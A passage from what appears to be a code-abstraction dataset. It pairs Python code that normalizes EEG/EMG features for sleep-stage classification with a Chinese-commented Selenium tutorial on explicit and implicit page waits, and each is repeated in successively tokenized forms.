normalization()\n generate_feature_with_adjacent_epochs()\n\n\n<code token>\n", "<import token>\n\n\ndef normalization():\n print('Normalization...')\n modes = ['train', 'test']\n for mode in modes:\n features = []\n if mode == 'train':\n eeg1 = np.load('./data/train_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/train_eeg2_fft_features_new.npy')\n emg = np.load('./data/train_emg_fft_features_new.npy')\n else:\n eeg1 = np.load('./data/test_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/test_eeg2_fft_features_new.npy')\n emg = np.load('./data/test_emg_fft_features_new.npy')\n eeg1 = np.log(eeg1)\n eeg2 = np.log(eeg2)\n emg = np.log(emg)\n for eeg1_sig, eeg2_sig, emg_sig in tqdm(zip(eeg1, eeg2, emg)):\n eeg1_sig = (eeg1_sig - np.mean(eeg1_sig, axis=0, keepdims=True)\n ) / np.std(eeg1_sig, axis=0, keepdims=True)\n eeg2_sig = (eeg2_sig - np.mean(eeg2_sig, axis=0, keepdims=True)\n ) / np.std(eeg2_sig, axis=0, keepdims=True)\n emg_sig = np.sum(emg_sig, axis=0, keepdims=True)\n emg_sig = emg_sig.repeat(eeg1_sig.shape[0], axis=0)\n eeg1_sig = eeg1_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n eeg2_sig = eeg2_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n emg_sig = emg_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1)\n )\n features.append(np.concatenate((eeg1_sig, eeg2_sig, emg_sig),\n axis=2))\n features = np.array(features)\n np.save('./data/{}_x.npy'.format(mode), np.array(features))\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(\n sub_feature[:, :, :, 2])) / np.std(sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1],\n sub_feature[j], sub_feature[(j + 1) % len(sub_feature)],\n sub_feature[(j + 2) % len(sub_feature)]), axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.\n array(lf))\n idx += 1\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(\n sub_feature[:, :, :, 2])) / np.std(sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1],\n sub_feature[j], sub_feature[(j + 1) % len(sub_feature)],\n sub_feature[(j + 2) % len(sub_feature)]), axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.\n array(lf))\n idx += 1\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# 页面等待\n\n# 注意：这是非常重要的一部分！！\n#\n# 现在的网页越来越多采用了 Ajax 技术，这样程序便不能确定何时某个元素完全加载出来了。如果实际页面等待时间过长导致某个dom元素还没出来，但是你的代码直接使用了这个WebElement，那么就会抛出NullPointer的异常。\n#\n# 为了避免这种元素定位困难而且会提高产生 ElementNotVisibleException 的概率。所以 Selenium 提供了两种等待方式，一种是隐式等待，一种是显式等待。\n#\n# 隐式等待是等待特定的时间，显式等待是指定某一条件直到这个条件成立时继续执行。\n\n# 显式等待\n# 1.显式等待指定某个条件，然后设置最长等待时间。如果在这个时间还没有找到元素，那么便会抛出异常了。\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n# WebDriverWait 库，负责循环等待\nfrom selenium.webdriver.support.ui import WebDriverWait\n# expected_conditions 类，负责条件出发\nfrom selenium.webdriver.support import expected_conditions as EC\n\ndriver = webdriver.Chrome()\ndriver.get(\"http://www.xxxxx.com/loading\")\ntry:\n # 页面一直循环，直到 id=\"myDynamicElement\" 出现\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.ID, \"myDynamicElement\"))\n )\nfinally:\n driver.quit()\n\n# 如果不写参数，程序默认会 0.5s 调用一次来查看元素是否已经生成，如果本来元素就是存在的，那么会立即返回。\n# 下面是一些内置的等待条件，你可以直接调用这些条件，而不用自己写某些等待条件了。\n# title_is\n# title_contains\n# presence_of_element_located\n# visibility_of_element_located\n# visibility_of\n# presence_of_all_elements_located\n# text_to_be_present_in_element\n# text_to_be_present_in_element_value\n# frame_to_be_available_and_switch_to_it\n# invisibility_of_element_located\n# element_to_be_clickable – it is Displayed and Enabled.\n# staleness_of\n# element_to_be_selected\n# element_located_to_be_selected\n# element_selection_state_to_be\n# element_located_selection_state_to_be\n# alert_is_present\n\n# 2. 隐式等待\n# 隐式等待比较简单，就是简单地设置一个等待时间，单位为秒。当然如果不设置，默认等待时间为0。\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(10) # seconds\ndriver.get(\"http://www.xxxxx.com/loading\")\nmyDynamicElement = driver.find_element_by_id(\"myDynamicElement\")", "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\ndriver = webdriver.Chrome()\ndriver.get('http://www.xxxxx.com/loading')\ntry:\n element = WebDriverWait(driver, 10).until(EC.\n presence_of_element_located((By.ID, 'myDynamicElement')))\nfinally:\n driver.quit()\nfrom selenium import webdriver\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(10)\ndriver.get('http://www.xxxxx.com/loading')\nmyDynamicElement = driver.find_element_by_id('myDynamicElement')\n", "<import token>\ndriver = webdriver.Chrome()\ndriver.get('http://www.xxxxx.com/loading')\ntry:\n element = WebDriverWait(driver, 10).until(EC.\n presence_of_element_located((By.ID, 'myDynamicElement')))\nfinally:\n driver.quit()\n<import token>\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(10)\ndriver.get('http://www.xxxxx.com/loading')\nmyDynamicElement = driver.find_element_by_id('myDynamicElement')\n", "<import token>\n<assignment token>\ndriver.get('http://www.xxxxx.com/loading')\ntry:\n element = WebDriverWait(driver, 10).until(EC.\n presence_of_element_located((By.ID, 'myDynamicElement')))\nfinally:\n driver.quit()\n<import token>\n<assignment token>\ndriver.implicitly_wait(10)\ndriver.get('http://www.xxxxx.com/loading')\n<assignment token>\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n" ]